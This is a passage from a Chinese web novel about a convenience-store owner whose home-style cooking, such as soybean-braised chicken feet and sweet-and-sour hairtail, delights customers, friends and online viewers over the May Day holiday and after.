“老板你就不能多做点吗?我今天下午就要坐车回去了,临走前就想再吃一口你家的糖三角。” 明清欢能有什么办法,她就一双手,就算她做的速度再快也满足不了所有人。 “老板你真不能再做点吗?” “我现在去做糖三角的话,午餐就没时间做了,还是说你们中午想吃糖三角?”明清欢将选择权交给他们。 顾客们闻言,立刻摇头道:“不了不了,中午我还是更想吃饭菜!” 糖三角当然好吃,但跟饭菜比起来,还是饭菜更香。 见顾客们消停下来,明清欢唇角带起点弧度,转身去厨房里忙活去。 “有什么需要帮忙的?” 孙悦月和李勤晴吃完美味的早餐,脸上带着满足的表情走进厨房。 明清欢本来不想让她们帮忙,但刚拒绝她们就自己找活干,一个跑去洗菜,一个跑去剪鸡爪。 “别说,还挺解压。”李勤晴握着剪刀将鸡爪的尖甲一个个剪下来,越剪越觉得爽。 孙悦月看到被她剪得过于干净的鸡爪,不由开口:“你悠着点,别把肉给剪下来了。” “没事,小心别剪到自己手就行。”明清欢拿出黄豆泡在水里备用,随即开始切菜。 有她们两个在厨房,能帮到多少忙先不说,氛围倒是挺热闹。 与此同时,店内同样很热闹,明明才上午,桌子那边已经坐满人,显然都是为了午餐而来。 五一小长假马上就要结束,好多外地游客吃完午餐就要坐车回家,因此今天人比前两天还要多,还有顾客甚至带着行李箱过来,明显是准备吃完饭直奔火车站。 “你们有没有刷到昨晚那个视频,老板太厉害了,我本来还担心她遇到那种事情会休息几天,还好今天正常营业了。” “刷到了,还好老板没吃亏,不然我非打死那几个煞笔玩意。” “你们说老板是不是练过啊?” 今天店内大部分顾客聊天话题都是昨晚的那个视频,不过也有人网速比较慢,还没刷到视频。 “什么视频?老板怎么了?” “你直接上网搜侠客便利店,热度最高那个。” “看到了……我去!到底是老板太牛,还是那三个太废物?就这还好意思跑出来骚扰人?” “我感觉老板还是打得轻了,就应该直接打断他们的腿,看还敢不敢在外面恶心人。” “你说的是打断哪条腿?” “当然是全打断!” 顾客们聊得热火朝天时,厨房内明清欢早就将米饭蒸上,现在正在炒菜。 处理干净的鸡爪加姜片、料酒焯水去腥后,锅中倒入油将蒜、姜、干辣椒等配料爆出香味,随即加入鸡爪中火慢炒,很快原本白色的鸡爪就被炒成焦黄色。 在香味已经开始从锅里飘出来时,明清欢依次加入生抽、老抽为鸡爪提鲜上色。 “太香了,怎么办啊,感觉吃过你做的饭,我都不想走了……” 孙悦月闻着厨房里浓郁的鲜味,语气透着真情实感。 “那就别走了。”明清欢笑着道。 以前在大齐时,她独来独往习惯了,反而受不了太热闹的场景,但在现代短短几个月,她却是已经渐渐融入这种带着人间烟火的热闹。 昨天孙悦月她们过来后,晚上四个人凑在一起聊天打游戏,那种热闹甚至让明清欢回忆起当初家人都在的时光。 “我也想不走,但还有破班要上啊……” 孙悦月家里条件还不错,但即便如此该上班还是得上班。 “没事,我可以在欢欢这里多待一段时间,到时候有好吃的我替你吃。”李勤晴笑着说。 她毕业后和前男友在同家公司上班,分手时为了断干净直接辞职走人,目前还没有找到新工作。 “不行,我吃不到你也不能吃,我们一起来,得一起走。” “我又不上班,才不跟你一起走。” 明清欢听她们在旁边两个拌着嘴,忽然听到李勤晴发出一声爆笑:“哈哈哈哈——” “怎么了?”明清欢好奇转头。 李勤晴笑得停不下来,平复一下呼吸才开口:“哈哈哈……她,她说话说到一半口水滴下来了,估计是被你做的鸡爪馋……唔……” 孙悦月不等她把话说完就伸手堵住她的嘴,恼羞成怒地喊她闭嘴。 明清欢被逗笑,等黄豆烧鸡爪炖好时立刻先盛出一碗让她们俩先尝尝味道。 红润油亮的鸡爪里夹杂着金黄饱满的黄豆,浓郁的汤汁在食材上流淌,散发出鸡爪特有的肉香以及黄豆清香,同时还带着香料的复合气息,闻起来很是勾人食欲。 孙悦月看到香喷喷的黄豆烧鸡爪,顿时顾不上再跟李勤晴计较,立刻握着筷子品尝起来。 鸡爪被炖得又软糯又入味,轻轻一咬肉就从骨头上下来,肉香浓郁的同时又带着淡淡黄豆清香,咸鲜中透着微微辣味,吃起来油润却不腻。 “你别光顾着自己吃啊!给我尝一口。”李勤晴说完从碗里抢过来一个鸡爪,一口咬上去眼睛瞬间就亮起来,感觉这鸡爪味道简直令人上瘾,吃得根本停不下来。 鸡爪富含胶原蛋白,经过高温的炖煮,那股胶质感都被炖出来,多吃几口嘴巴就有种胶质黏唇感,然而即便如此,她们依旧不愿意停嘴,甚至香得连骨头都要咬碎才舍得吐出来。 “好好吃啊!连里面黄豆都特别香!我想来点米饭伴着吃了!” 提前泡发过的黄豆随着鸡爪一起炖煮,早就被炖得烂烂的,连芯里都吸满汤汁,吃进嘴里绵软中带着酱香,味道完全不比鸡爪差。 明清欢闻着开口道:“饭早就蒸好了,你们自己去盛。” 第32章 第32章糖醋带鱼 好歹上午有帮忙干活,孙悦月和李勤晴听到她让盛饭吃,两个人没跟她假客气,捧着碗就去电饭煲那边。 便利店用的是大容量电饭煲,一打开盖热气就瞬间升腾起来,带着浓郁的米香。 “欢欢你家电饭煲真大。” “感觉你不光做菜好吃,连蒸的米饭都格外香。” 孙悦月和李勤晴两个人一个关注电饭煲,另外一个夸米饭,很快就一人盛着碗米饭,跑到明清欢那边要了勺黄豆烧鸡爪盖在饭上吃起来。 菜固然好吃,但米饭更是餐桌上不可或缺的主食,浓郁的汤汁浇在饭上,一口下去,香到她们俩心里此时只剩“太好吃了”几个字刷屏。 “今天人比前几天还多……”周瑶瑶闻着味走到厨房门口,话还没说完就看到她们俩吃得那叫一个香,肚子里的馋虫立刻被勾起来,“我也想吃!” 她想吃饭时明清欢从来不会阻拦,因此说完她就自己拿碗去。 等到她端着碗黄豆烧鸡爪盖浇饭出去时,又轮到顾客们被她给馋死了。 “我也想吃饭……” “黄豆烧鸡爪!看起来好好吃的样子!” “好香啊!” 周瑶瑶也不想出来馋他们,但店里人太多,没个人看着肯定不行,便只能当听不见,大口大口吃起来。 “好吃吗?”有顾客被馋得已经开始问废话。 “好吃,鸡爪炖得特别烂,一咬就能脱骨,但软烂中又带着点韧劲,吃起来特别香,还有这个黄豆,和汤一起伴着米饭吃,越吃越香。” 周瑶瑶说完又夹起个鸡爪送入口中,享受着咸鲜微辣,软糯脱骨的滋味。 好在顾客们也没被馋太久,十一点左右时,明清欢带着孙悦月她们将饭菜端出来。 “哦!太好了!终于可以吃饭了!” “妈妈我要吃鸡爪!” 店内有小孩看到饭菜被端出来,直接发出欢呼,一个个难得吃饭比吃零食还积极。 今天有孙悦月她们在,打饭速度都变快很多,拿到饭菜的顾客高高兴兴去找位置吃饭时,有顾客却是忍不住问:“老板,你招新员工了?你之前不是说不招人吗?” “没有,她们是我朋友,来找我玩顺便给我帮帮忙。”明清欢说话的同时手上动作也没停。 得知是她朋友不是新员工,顾客们顿时就不感兴趣了,视线重新落在菜色上。 今天除了新菜黄豆烧鸡爪外,由于之前有不少顾客说还想吃她做的藕,明清欢还特意做了干煸藕丝。 金灿灿的藕丝不论是香味还是卖相都特别诱人,十个顾客至少有九个会点它。 软糯脱骨的鸡爪,外焦里脆带着浓郁藕香的干煸藕丝,还有漂亮的像碎金一样的金沙玉米,每一道菜都给顾客带来极致的味蕾享受。 有个十岁左右的小朋友吃着香喷喷的午餐,忽然抬头道:“妈妈,我不想回家了。” “为什么不想回家?”孩子妈妈咬着胶质黏唇,但吃起来格外香的鸡爪随口问。 “我们家里没有这么好吃的饭,我想留在这天天过来吃饭。” 孩子话落,妈妈还没说什么,原本在旁边安静吃饭的爸爸开口道:“你想得美。” 何止小孩子被明清欢家饭菜好吃到不想回家,就连好多大人都恨不得直接留在q市。 这不,有顾客吃饱喝足后就忍不住冲明清欢喊话:“老板,我不管,你得对我负责!” 明清欢有点疑惑地看过去,用眼神询问自己要负什么责。 “你做的菜太好吃,我感觉我回学校后更吃不下食堂的饭菜了……” 由俭入奢易,由奢入简难,趁着假期过来玩的大学生在连吃几天她家午餐后,只恨自己当初没来q市读大学。 这话明清欢根本没法接,只能低头继续给其他顾客打饭,就当没听见。 就算她不接话,几个年轻顾客独角戏依旧唱得很起劲,一会喊着不想离开q市,一会叫着没有好吃的饭菜活不了了,把其他顾客都逗给笑。 “老板,你这藕丝是怎么做的?太好吃了,我想自己回家也试着做一做。”还有顾客吃着外焦里脆的干煸藕丝,实在太喜欢,没忍住跑过来询问。 明清欢二话不说就将做法分享出来,干煸藕丝听起来不难,就是把莲藕切丝,裹上淀粉后先炸后煸,但真要做起来,想要好吃也没那么容易。 “太麻烦了,我还是更想吃现成的,老板你考虑去其他地方开连锁店不?我们A市风景优美,绝对是开分店的好地方。” 这年头想学做菜,网上教程一大把,比起自己做,更多人还是更愿意吃现成的,因此听完明清欢的认真分享,没几个人想自己做,而是开始喊她开分店。 明清欢并没有这个想法,婉拒顾客的好意后,见八哥不知什么时候从鸟笼里跑出来,正站在一个顾客肩膀上蹭饭吃,开口道:“小八,不要打扰客人吃饭。” 被小八黏上的顾客本身就是爱鸟人士,赶紧开口替它说话。 见顾客自己乐意,明清欢才没说什么,继续忙活着手上的事情。 人多力量大,今天四个人一起打饭,十二点多就将饭菜全部卖完,由于不少游客都一副舍不得离开q市的样子,中间明清欢还去厨房里炸了点馓子送给他们。 “好好吃啊!” 刚炸出来的馓子那叫一个香酥脆,尤其是明清欢今天还特意做了甜、咸两种口味。 “这个是什么啊?感觉比麻花脆,也比麻花更香,我还是第一次吃。” “好吃,我喜欢吃这个!” 馓子食材简单,但味道却很香,油炸带来的香脆口感以及咀嚼间面粉自带的麦香,简直让人吃得有点上瘾。 “谢谢姐姐,姐姐你真好~” 有个小女孩吃着香喷喷的馓子,嘴特别甜地向她道谢,还夸她做的东西都超级超级好吃,自己下次还要来吃。 “好,那我等你哦。”明清欢对小孩和老人向来更多几分包容心,看到漂亮的小家伙冲自己甜甜地笑着,语气里也透着笑意。 再是舍不得,到时间是该走还是得走,不少顾客是吃完饭直接从店里去火车站,走之前顺便在店内买了不少零食和水。 下午两点多时,店内顾客基本上已经走得差不多,周瑶瑶整理着货架说:“这两天人多,店里东西卖得也快……” 确实,顾客们虽说是为了吃饭来的,但进店后看到那么多零食饮料,很多人都会忍不住买一点,这样看明清欢保持便利店原本的模式也挺好。 明清欢看到货架上卖空不少,上去楼上仓库搬了些货下来,孙悦月和李勤晴帮着一起摆货,感觉有种玩经营游戏的感觉。 五一假期结束后,孙悦月也要回w市去,倒是李勤晴由于已经辞职,可以继续多留几天。 小长假结束,网上到处都是哀号着不想上班的视频及评论,还有大家 分享的五一度假视频。 放假大家要么宅家里,要么就是出去旅游,结果在这两类视频中出现了个奇葩——有人坐车跑到隔壁市宅在酒店里度假。 昵称叫“是吃货呀”的博主分享了自己的假期视频,第一个视频很正常,收拾东西坐车前往q市。然而到q市后她的视频背景就一直没变过,始终在酒店里。 据她自己所说,她这次过来主要是家附近的美食吃腻了,来尝尝侠客便利店的美食是不是真有网上夸的那么好吃。 她估计是不缺钱,甚至连门都不愿意出,由于侠客便利店没有外卖,她直接找跑腿小哥帮忙买早餐和午餐。 第一天早上尝到侠客便利店的馒头,她直接眼前一亮,觉得是她吃过最好吃的馒头,等到中午时,吃着肥而不腻,甜咸平衡得恰到好处的红烧肉,她直接决定整个五一都要待在q市不走了! 于是接下来的视频,就是她在酒店里每天吃侠客便利店饭菜,各种夸夸夸。 当然,由于侠客便利店不卖晚餐,她每天晚上只能点其他外卖吃,第一天晚上点外卖时她还很期待,因为觉得既然便利店快餐都那么好吃,那其他大饭店饭菜肯定更加美味。 结果不用说,她必然是失望了,倒不是说q市大饭店的菜有多难吃,但可能是吃之前期待值太高,于是等收到外卖后她感觉完全不惊艳,甚至色香味还不如中午吃的快餐。 【不是姐们,你没事吧?大老远跑到q市就窝在酒店里不出门了?你确实对得起你的名字。】 【看完视频我只想说,我要有钱我也想这么干,出去玩多累啊,还不如趟在酒店里享受一下异地的美食。】 【有一说一,这家便利店简直绝了,感觉它家菜换个精致点的盘子,你说是五星级大厨做的我也信啊!】 【红烧肉、脆皮香酥鸭、香煎茄片、香酥鸡、酱香猪蹄、黄豆烧鸡爪……每样菜看起来都好好吃啊,光看视频就馋死我了(口水)】 【这简直就是我梦中的生活!我就希望有钱后去各个地方住酒店,然后躺在酒店里品尝各地美食。】 【又刷到侠客便利店了,看来这趟q市是非去不可了!】 除开这个博主外,还有个关于侠客便利店的视频也很火,不知是谁起得那么早,竟然拍了两天早上的侠客便利店,配上搞笑的音乐,以及馒头、糖三角与茶叶蛋的特写,让网友们感受到它家早餐的抢手。 【哈哈哈哈,果然论早起还得是老人啊,第一天没买到早餐怎么办?那我就明天早点来!】 【我奶奶在家时天天四点就起床,要是她住在侠客便利店旁边,你们谁也别想抢过她。】 【四点算什么,我奶奶有时候三点多就起床,五点多就喊我吃早餐,我真是服了。】 【懂了!下次去q市玩时带我奶奶一起去,早餐让她去买!】 【呜呜呜,我好想吃糖三角啊,有没有本地人帮我代购一下?】 【糖三角早餐店都有卖吧,实在不行你自己做呗,就揉个面,再往里包点红糖。】 【本地人表示可以帮忙买,但你确定寄过去还能吃吗?】 网友们是真厉害,竟然还有人直接摸到周瑶瑶账号来,询问她可不可以邮寄馒头和糖三角。 现在天气已经渐渐热起来,馒头和糖三角邮寄出去就算没坏,味道肯定也没那么好吃,周瑶瑶自然不敢答应,表示让对方还是有空过来吃。 “老板,看来咱们店是真火了。”周瑶瑶将这事告诉明清欢,顺便发出感叹。 便利店可不是真火了,即便外地游客都基本离开,本地人却是大批大批往祥云街跑,以至于假期后店里还是闲不下来。 又一天午后,李勤晴坐在店门口边逗八哥玩边随即道:“还好你只做早餐和午餐,要是再加个晚餐,那不是得忙死。” “是啊。” 明清欢点点头,将店里的纸壳用绳子绑起来,放到门边等附近靠捡破烂为生的老人过来拿,随即拿张椅子在她旁边坐下。 “打游戏不?” 周瑶瑶从洗手间出来,见店内压根没有人,拿着手机过来问她们。 “你不看小说了?”明清欢问话的同时,手已经打开游戏。 之前孙悦月还在时,四个人晚上经常一起开黑,明清欢感觉游戏也挺好玩,现在没事时就会玩一下。 “追的那本已经看完最新章了,暂时没找到其他想看的小说。”作为一个资深小说迷,对周瑶瑶来说,如今想找本爱看的小说可不容易。 对比她,明清欢就要幸福得多,即便有原身的记忆,那些以前的老剧,还有各种小说对她来说都跟新的一样,随便找一个都特别好看。 三个人边打游戏边聊天,打着打着李勤晴忽然提起她下周要离开的事情。 “怎么不再多住一段时间?”明清欢客气地挽留。 说实话,住在她这里的日子对李勤晴来说很是愉快,每天什么都不用想,还能吃到各种美食。 但再愉快,她总归还是得重新去找工作的,因此决定下周回w市去。 其实李勤晴有想过要不要在q市找工作,这样还能经常来便利店蹭饭吃,但她家里人都在w市,之前谈恋爱时她就感觉有点忽略家里人,现在她想回家住段时间。 见她已经决定好,明清欢没再劝什么,而是直接询问她有没有什么想吃的菜。 在李勤晴看来,她就是随便炒个青菜都格外香,自从来到侠客便利店,简直每道菜都格外合她口味。 不过真要问她想吃什么菜,她还真想起一道:“我想吃糖醋带鱼,瑶瑶上次说你做的糖醋带鱼特别好吃。” “老板做的糖醋带鱼确实好吃,你一说我感觉又有点馋了。”周瑶瑶回味着上次吃过的糖醋带鱼,脑海中已经浮现那股酸甜适口,咸中带鲜的滋味。 见两个人都想吃糖醋带鱼,明清欢直接点头表示明天就做。 新的一天,便利店里生意依旧红红火火,不过由于是工作日的缘故,能大上午就跑来排队的人倒是不多。 由于李勤晴毕竟是客人,这会她被留在店里坐着,周瑶瑶则是在厨房内给明清欢帮忙。 五一结束后,店内菜品重新恢复成五菜一汤,今天明清欢准备做茭白炒肉、糖醋带鱼、红烧排骨、金沙玉米、香菇炒油菜,三鲜汤。 “我以前还以为香菇上的刀口是长出来就有的,有一次看到我妈买的香菇,我还问她是不是买到假的了,差点没把我妈笑死。”周瑶瑶洗着香菇时忽然想到这件事,笑着跟明清欢分享。 明清欢轻笑一声,手上动作却是没停,刷刷刷就将茭白切成漂亮的丝。 茭白丝洁白如玉,咋一看过去有点像萝卜丝,不过却没有萝卜的那股辣味,而是带着满满的茭白清香。 随着明清欢握在手里的菜刀不停切着,很快台面上已经摆着一盆茭白丝,一盆肉丝,一盆切好的排骨……食材被全部摆放整齐,一眼看过去,对强迫症患者特别友好。 备菜完毕,她先将米饭蒸上,米饭想要好吃,除了要米好之外,还有些小技巧,比如可以在米里加点油,这样蒸出来的米饭不光色泽晶莹漂亮,米香味也更加浓郁。 米饭蒸上后明清欢开始做红烧排骨,在她将切得格外漂亮的排骨下锅焯水时,周瑶瑶就凑过来站在不远处,等到排骨的香味炖出来时,自觉地拿个碗捧在手上。 明清欢余光看到她捧着碗等吃的模样,在红烧排骨炖够火候时,好笑地盛出一勺放到她碗中。 其实两个人年纪差不多大,但可能是明清欢平日里看起来太靠谱,周瑶瑶在她身边待一段时间后,整个人都变得幼稚起来,拿到刚出锅的红烧排骨欢呼一声去外面和李勤晴分享不说,还拿着排骨去附近招猫逗狗。 “坏蛋,坏蛋~” 八哥跟着她一起飞出来,见她有肉不给自己吃,却给那些讨厌的四脚兽,扯着嗓子发出鸟类学 舌特有的喊声。 “你还是躲远点吧,别以为会飞就没事了,小心人家猫猫一爪子把你拍下来。”周瑶瑶见附近有猫它还敢凑过来,觉得它胆子是真大。 不过好在红烧排骨够香,有现成的肉吃,正埋头吃肉的猫猫们才顾不上抓鸟。 外边周瑶瑶正撸猫撸高兴时,厨房内,明清欢已经开始做糖醋带鱼。 处理干净的带鱼已经提前腌制过,此时热锅冷油将鱼块下入开始煎,为了保证煎鱼时鱼皮不破,明清欢在鱼下锅前往油中稍微洒了点盐。 带鱼躺在锅中,随着温度上来发出噼啪的油声,同时一股鱼鲜味很快被煎出来。 当带鱼被煎至两面金黄色,不光卖相看起来格外诱人,香味更是源源不断从锅里飘出来,直接顺着厨房大门一直飘到街上。 “喵呜~” 啃完排骨还有些意犹未尽的猫猫闻到鱼鲜味,立刻抬头夹着嗓子冲周瑶瑶发出叫声。 “行行行,我这就去给你们偷鱼去。”周瑶瑶哪受得住它们如此可爱的叫声,立刻端着碗往厨房跑。 正好厨房里明清欢刚煎完鱼还没往里面下调料,听到她要喂猫,直接给她几块。 “你不是喂猫吗?”李勤晴看到她从厨房出来直接拿着带鱼往自己嘴里送,发出询问的声音。 周瑶瑶嘿嘿笑起来:“太香了,没忍住想咬一口,还真别说,老板煎的鱼可真香,啥都没放都好吃。” “不腥吗?”李勤晴凑过来望着碗里只煎过还没下调料的带鱼。 “一点都不腥,鱼皮煎得焦焦的,鱼肉很嫩,不信你尝尝。” 李勤晴闻言咬了一小口,发现还真没有腥味,吃起来满满都是食材本身的鲜味。 “我怎么感觉现在这样吃味道就挺好……” “确实,不过等老板调味后又是另外一种美味,待会你尝过就知道了。” 周瑶瑶说完,眼见店外的猫猫扯着嗓子叫起来,赶紧端着碗去投喂。 十点多时,店内人开始多起来,除了提前翘班溜过来吃饭的上班党外,还有没课的大学生,带娃的宝妈,给孩子送饭的家长,住在附近的老人,以及某些自由职业者的年轻人。 当然,除此之外,排队的人里还有不少跑腿小哥,显然是有些人想吃它家快餐但自己没空来买,于是请跑腿帮忙。 “呦,王老太你今天也舍得过来吃饭了?” 排队的老年人基本都是住在附近的居民,互相都认识,在发现平常省吃俭用的王老太竟然也过来吃饭时,有人感觉很惊讶。 “我孙女回来了,我带她来吃饭。” 王老太自己当然舍不得出来吃饭,她平常最多早上来买点馒头,但今天孙女回来,她想到平日里大家都夸这里快餐有多好多好吃,可不得带孙女过来尝尝。 王老太孙女刚从国外回来,本来被奶奶带到这么家老旧便利店时她还有点不乐意,不过等闻见店内的香味时,那点不乐意却是瞬间变成期待。 第33章 第33章凉拌毛豆 终于等到饭菜被端出来时,王老太孙女伸长脖子望着前面,感觉每个菜都特别想吃,眼睛都有点放光。 “还是国内好,随便一家便利店都有这么好吃的饭菜。” 她昨天就已经回国,不过由于倒时差没有关注网上消息,还以为侠客便利店只是个普通便利店。 旁边顾客此时同样被饭菜香味与卖相吸引,也没人注意她说的话,于是她直到打完饭都还以为奶奶是为了省钱随便带她来家小便利店吃饭。 五一结束后由于每天顾客依旧不少,关于每位顾客只能买三菜一汤的规定便延续下来。 等轮到王老太祖孙二人时,平日里节俭的老太太专门挑肉菜买,甚至把红烧排骨买了两份。 “琪琪来,多吃点肉。”王老太拿起筷子,直接把排骨往孙女碗里夹。 红褐色的排骨上面挂着浓郁酱汁,整体色泽油润红亮,散发出浓郁肉香,无论是卖相还是香味都在诱惑着人去吃它。 琪琪吞咽着口水,随即却是阻止道:“不用,奶奶你自己吃,我够吃了。” 她话还没说完已经扛不住诱惑,夹起一筷子排骨咬上去,入口先尝到酱汁的咸鲜,咀嚼间满满都是肉香,只感觉排骨炖得特别入味,但吃起来却是烂而不柴。当然,最重要的是这肉吃起来一点腥味都没有! “Itssodelicious!” 其实在国外也能吃到中餐,但琪琪咬着红烧排骨,觉得果然还是国内做得更好吃,忍不住发出感叹。 王老太没听懂孙女在说什么,但看到她吃得那么香,脸上不自觉露出慈祥的笑容,继续往她碗里夹排骨。 “哎呀奶奶,你自己吃嘛。”琪琪见她光想着自己,直接反过来往她碗里夹。 “好好好,奶奶自己吃。” 王老太说完终于张嘴吃起来,炖得软烂入味的排骨轻轻一咬肉就脱下来,不论是口感还是调味都让她不自觉加快咀嚼速度。 “这肉是好吃。”老太太望着筷子上被咬了一口的排骨,寻思着这肉是怎么做的,感觉这辈子都没吃过这么好吃的红烧排骨。 看到她终于开吃,琪琪收回视线,连啃几块排骨解馋后,嘴里的肉还没完全咽下去,筷子又夹起块糖醋带鱼。 在国外炸鱼吃得比较多,按说鱼类她应该已经吃腻了,但望着被煎得表面焦黄,上面裹着红亮浓稠汤汁的糖醋带鱼,她却是光看着就感觉特别有食欲。 糖醋口的菜本身香味就很开胃,配上菜品绝佳的卖相,她夹起来就往嘴里送,一口咬下去时,完美比例的糖醋汁在舌尖化开,酸甜适口中带着鱼的咸鲜味,牙齿上下一碰,带鱼表皮焦香中带着嚼劲,内里鱼肉鲜嫩紧实,让人吃着就停不下来,不知不觉间筷子上便只剩被啃干净的主刺。 太香了!早知道在国内能吃这么好,真该早点回来! 琪琪跟随父母在国外定居多年,这次回国是为探望奶奶,顺便带她去医院做个体检。 本来回国前她还有点嫌麻烦,只是想着奶奶上次打电话说想她,觉得不回来不好。现在她却是觉得,回来可太好了! 糖醋带鱼吃起来简直有些上瘾,琪琪心里感叹着,嘴里却是一块接一块吃着,直到面前堆起不少鱼刺,才反应过来将剩下两块夹进奶奶碗中:“奶奶你尝尝这个鱼,太好吃了,比国外的鱼好吃一百倍。” “你自己吃,奶奶怕鱼刺,不爱吃鱼。”王老太将鱼夹回给她。 老太太日常生活很节俭,挑食什么的根本不存在,之前有人钓鱼钓到不少送给她一条,她可是高兴得不得了,又怎么可能不爱吃鱼。 “带鱼没什么刺,奶奶你尝尝,真的特别好吃。” 琪琪说完直接夹起一块塞到她嘴边,老太太这才张口品尝起来,发现味道确实好。 她平常做鱼要么红烧,要么炖汤,还是头一回吃糖醋口的鱼,没想到鱼带着酸甜味竟然这么好吃。 何止红烧排骨和糖醋带鱼好吃,茭白炒肉、金沙玉米同样令祖孙二人惊艳,就连香菇炒油菜和三鲜汤都让她们吃得赞不绝口。 琪琪:“好好吃的香菇,嫩嫩滑滑的,吃起来又鲜又香。” “这大席上的菜还要好吃。” 对王老太来说,比大席上菜还好吃大概就是她对饭菜好吃的最高评价了,夸完随着年纪增长食欲渐渐下降的老太太今天难得胃口大开,端着碗吃个不停。 便利店内,吃得头也不抬的何止她们祖孙俩,其他顾客同样都吃得很香。 原本只是帮顾客代买的跑腿小哥更是没忍住,和明清欢说明原因,请她通融一下后给自己也买了份快餐。 在菜**人的卖相以及浓郁的香味下,跑腿小哥真是强撑着才没在店里吃完自己那份再去送外 卖。 当然,倒也不是他意志力坚定,而是顾客跟催命一样发消息催个没完,甚至还表示提前送达会给大红包。冲着大红包的缘故,跑腿小哥这才把口水一咽,拎着两份快餐赶紧出门去送餐。 顾客地址在一栋写字楼,跑腿小哥等电梯时终于受不住诱惑,打开自己那份快餐吃起来,一块红烧排骨入口,香得他差点没咬到舌头。 太好吃了! 正值饭点,写字好多人正坐电梯上上下下,他这一开吃,浓郁的香味简直能馋死个人。 “你好,请问你手里的饭菜是在哪买的?” 跑腿小哥边往电梯里走边抽空回答:“侠客便利店。” 从电梯出来的人还好,只被他馋一下,跟他一起坐电梯上去的人,简直要被馋得流口水。 侠客便利店在q市已经很有名,电梯内其他人听到这个名字,有人拍着脑袋道:“对哦,我怎么没想到可以找跑腿代买!” 电梯很快到达跑腿小哥要去的楼层,顾客得知他已经过来,直接等在电梯口。 “你真有品味,这家店的饭菜太好吃了,而且环境干净卫生,可以作为常吃的店铺。”跑腿小哥看到顾客,边将快餐递过去边说。 显然,他可能之前没在网上刷到过相关视频,还是今天接到单子才知道祥云街有这么家店,由于吃到美食心情好,难得主动跟顾客说那么多话。 “你也买了?它家不是有限购吗?”顾客接过快餐语气透着疑惑。 跑腿小哥咽下嘴里喷香的糖醋带鱼,随即才开口:“是限购,不过老板人挺好,听说我是替顾客代买,同意我给自己再买一份。” 顾客闻言眼睛瞬间就亮起来,立刻提议表示明天还想请他代买,而且想加钱买两份。 “别了,这样不太好。” “我加十块。” “真不是钱的事,老板人好才让我多买一份的,我加钱转卖出去叫什么事。”跑腿小哥确实想多赚点钱,但他觉得这种钱实在没必要赚,毕竟便利店里快餐好吃还不贵,他与其赚那十块钱还不如自己吃。 顾客见他不愿意,想想决定还是算了,毕竟实在不行他还可以找两个跑腿去帮忙买,没必要为难他。 这边顾客终于拿着快餐去公司里吃,把同事馋得不行时,另一边侠客便利店内,李勤晴终于吃上糖醋带鱼。 “真的好好吃啊!甜味和酸味恰到好处,再配上那股咸鲜味,我从来没吃过这么好吃的鱼!” 明清欢调的糖醋汁甜味和酸味都不重,尤其是醋酸味,只是用来提味并中和甜腻与油腻,让这道菜吃起来更加鲜美,却怎么吃都不腻。 “喜欢吃那你多吃点。” 此时快餐已经全部卖完,周瑶瑶端着碗在外面守店,明清欢则和李勤晴在厨房里吃饭。 倒不是她们不想去和周瑶瑶一起吃饭,主要是坐在店里吃饭没个清静,时不时有顾客上门询问快餐。 “欢欢你做菜手艺太好了,不光糖醋带鱼好吃,这个茭白炒肉也好好吃啊!我以前不怎么吃茭白的,但你炒的这个茭白丝好香。” 李勤晴吃着色香味俱全的午饭,想到自己下周就要离开,忽然有点舍不得。 她刚夸完,手机忽然响起来,是孙悦月打过来的视频。 李勤晴接通视频后直接将镜头对准自己的碗:“你看,今天欢欢做了糖醋带鱼,特别好吃。” “我也想吃糖醋带鱼,欢欢我好想你啊——” 孙悦月望着屏幕上卖相诱人的糖醋带鱼,只恨不得从手机里钻过去蹭饭吃。 明清欢感觉她是想吃自己做的饭还差不多,笑着道:“想我那你过来嘛。” “我也想啊,可公司又不放假。”孙悦月说完将镜头对准自己面前道,“你看我多惨,中午只能吃这个。” 她午餐是一份牛肉面,上面还配着青菜和煎蛋,看上去卖相还可以。 “看起来还不错。”明清欢看了眼屏幕,觉得有肉有蛋有菜,已经挺丰盛。 “看起来不错有什么用,这面一点都不好吃,面条又软又烂,一吃就知道肯定不是手工面,还有这牛肉,吃起来特别柴,而且还塞牙,煎蛋我特别怀疑是不是那种速冻煎蛋,吃着一点都没有煎蛋的香味……” 孙悦月想到累死累活上完班,中午就只能吃这个,简直想哭:“我想吃你做的那种又香又筋道,牛肉还软烂入味的牛肉面,这面跟假的一样,一点也不好吃,就这还要三十多块钱,根本就不值。” 显然,她是假期在q市被明清欢的手艺把舌头吃叼了,现在回去吃着平常感觉还行的午餐,怎么吃怎么不顺口。 “你走的时候我不是给你带了卤牛肉吗?你可以自己煮点面再加上卤牛肉。”明清欢觉得她实在不会做手擀面,买点挂面凑合一下,配上自己做的卤牛肉应该也能吃。 明清欢对朋友绝对大方,尤其是两个朋友来一趟q市都没出去玩,就在祥云街上逛了逛,剩下时间都在店里帮忙,在孙悦月走的时候,她直接送了三斤自己卤的牛肉,还有整只香酥鸡。 孙悦月听到她说卤牛肉,瞬间就安静下来。 她不说话,李勤晴立刻就猜到什么:“你该不会回去没两天就把那么多卤牛肉全吃完了吧?” 事实证明李勤晴还是不够了解她,实际上孙悦月当天就把那只香酥鸡和卤牛肉吃光光。 “你是猪吗?”李勤晴得知她甚至没留到第二天,发出震惊又无语的声音。 “什么啊,我在火车上又没吃东西,到家时正好下午一点,我吃一只香酥鸡当午餐怎么了?” “那卤牛肉呢?那可是三斤卤牛肉啊!” “我晚上也要吃饭嘛,直接当晚饭吃了。” “你一顿晚饭吃三斤卤牛肉?” 别说李勤晴,明清欢都觉得一顿三斤卤牛肉实在有点多:“你吃那么多肉不难受吗?” “我没一顿吃完,晚上就着可乐吃了一半,剩下的本来准备留在冰箱里慢慢吃,结果晚上追剧时没忍住,就……你懂的。”孙悦月说着说着朝着镜头的丢去个“你懂的”的眼神。 李勤晴还有什么不懂,不就是狗窝里留不住干粮,卤牛肉没吃完就总惦记着,时不时要打开冰箱吃两口,非要全部吃光才舒服了,才舍得睡觉。 明清欢听完她的形容有些想笑,不过看到屏幕里孙悦月可怜巴巴的模样,到底还是忍住笑意,开口道:“那等你下次过来我再给你多做点。” “我就知道你最好了,这个月估计是没假了,不过下个月端午节应该会放假,到时候我过去找你玩。”孙悦月光是说着自己就兴奋起来,随即就着李勤晴今天的午餐图片,勉强解决掉自己面前的牛肉面。 “太难吃了,下次我再也不点它家外卖了。”吃完孙悦月还忍不住吐槽。 午餐结束后视频就直接挂掉,毕竟孙悦月下午还要上班。 “跟她一对比,我感觉自己简直太幸福了。”虽然下周就要走,但李勤晴想到这种不用上班还天天有美食的好日子还能过几天,想想就觉得幸福。 